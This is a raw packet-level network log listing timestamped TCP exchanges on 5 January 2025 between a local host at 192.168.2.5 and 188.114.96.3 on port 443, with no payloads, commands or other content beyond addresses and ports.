Jan 5, 2025 18:52:54.749982119 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.749996901 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750019073 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.750087023 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.750257015 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750274897 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750329018 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.750341892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750520945 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750539064 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750574112 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.750579119 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750596046 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.750720978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750735044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.750780106 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.750787020 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.755218983 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.755237103 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.755285978 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.755295038 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.757692099 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.757705927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.757745028 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.757752895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.757776976 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.758337021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.758356094 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.758392096 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.758398056 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.758419991 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.758862972 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.758894920 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.758908033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.758928061 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.758940935 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.758960009 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.760658979 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.767584085 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.842461109 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.842480898 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.842578888 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.842593908 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.842605114 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.842623949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.842643023 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.842649937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.842679977 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.842711926 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.843866110 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.843882084 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.843947887 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.843954086 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.843983889 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.844126940 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.844141960 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.844191074 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.844197989 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.844232082 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.847471952 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.847487926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.847560883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.847567081 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.847605944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.848618031 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.848635912 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.848690987 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.848696947 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.848737001 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.850703955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.850718021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.850780964 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.850788116 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.850833893 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.851239920 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.851253033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.851304054 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.851310968 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.851362944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.852195024 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.934981108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.935053110 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.935077906 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.935092926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.935126066 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.935152054 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.935158014 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.935179949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.935204983 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.935220003 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.935251951 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.935256958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.935296059 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.936295033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.936311960 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.936368942 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.936376095 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.936415911 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.936595917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.936609983 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.936666012 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.936671972 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.936709881 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.939851046 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.939871073 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.939922094 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.939930916 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.939959049 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.939976931 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.941011906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.941031933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.941087008 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.941095114 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.941137075 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.943121910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.943139076 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.943227053 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.943236113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.943289995 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.943756104 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.943773031 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.943829060 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.943835974 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:54.943880081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:54.945285082 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.027287006 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.027396917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.027396917 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.027412891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.027431965 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.027451038 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.027478933 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.027781010 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.027802944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.027862072 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.027870893 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.028855085 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.028875113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.028934956 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.028942108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.028964043 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.029134989 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.029150963 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.029196024 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.029202938 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.032821894 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.032849073 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.032890081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.032898903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.032928944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.034926891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.034943104 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.035001993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.035010099 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.035624981 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.035644054 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.035692930 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.035701036 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.035715103 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.037537098 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.039422989 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.119765997 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.119790077 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.119914055 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.119966030 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.119990110 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.120003939 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.120068073 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.120326042 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.120342970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.120409012 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.120415926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.121279955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.121299028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.121346951 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.121352911 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.121391058 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.121557951 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.121572018 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.121630907 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.121639013 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.125238895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.125262976 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.125298977 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.125305891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.125328064 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.127320051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.127334118 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.127381086 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.127387047 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.127409935 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.128072023 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.128088951 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.128163099 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.128170013 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.128403902 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.212232113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212255955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212311983 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.212335110 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212369919 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.212377071 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212392092 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212435961 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.212441921 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212483883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.212624073 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212637901 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212687016 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.212692976 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.212727070 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.213684082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.213702917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.213745117 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.213749886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.213869095 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.213924885 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.213939905 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.213992119 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.213998079 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.214014053 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.214035034 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.215327978 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.217710972 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.217726946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.217803001 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.217812061 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.217856884 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.219847918 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.219867945 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.219953060 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.219960928 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.220017910 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.220484972 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.220500946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.220585108 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.220592022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.220684052 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.273638964 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.304600000 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.304620028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.304708958 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.304723978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.304737091 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.304759979 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.304764032 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.304773092 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.304812908 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.304850101 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.305083990 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.305098057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.305145025 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.305150986 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.305183887 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.305183887 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.306153059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.306166887 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.306210041 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.306215048 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.306238890 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.306255102 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.306498051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.306512117 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.306561947 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.306571960 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.306608915 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.310060978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.310075045 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.310137987 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.310144901 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.310185909 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.312365055 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.312378883 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.312443972 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.312450886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.312485933 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.312866926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.312880039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.312930107 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.312936068 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.312975883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.397525072 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.397546053 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.397639036 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.397655010 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.397696972 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.397808075 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.397823095 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.397857904 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.397864103 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.397893906 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.397910118 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.398008108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.398021936 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.398082972 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.398087978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.398111105 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.398124933 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.399390936 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.399405003 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.399452925 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.399461031 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.399494886 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.399729967 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.399746895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.399789095 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.399795055 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.399830103 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.403022051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.403042078 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.403104067 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.403111935 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.403160095 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.405360937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.405376911 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.405436993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.405442953 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.405483007 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.406157970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.406173944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.406238079 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.406244993 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.406282902 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.489634991 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.489655972 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.489753962 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.489763975 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.489774942 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.489793062 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.489804029 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.489809036 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.489845991 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.489870071 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.490045071 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.490058899 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.490114927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.490122080 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.490158081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.490900040 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.490912914 CET	443	49885	188.114.96.3	192.168.2.5
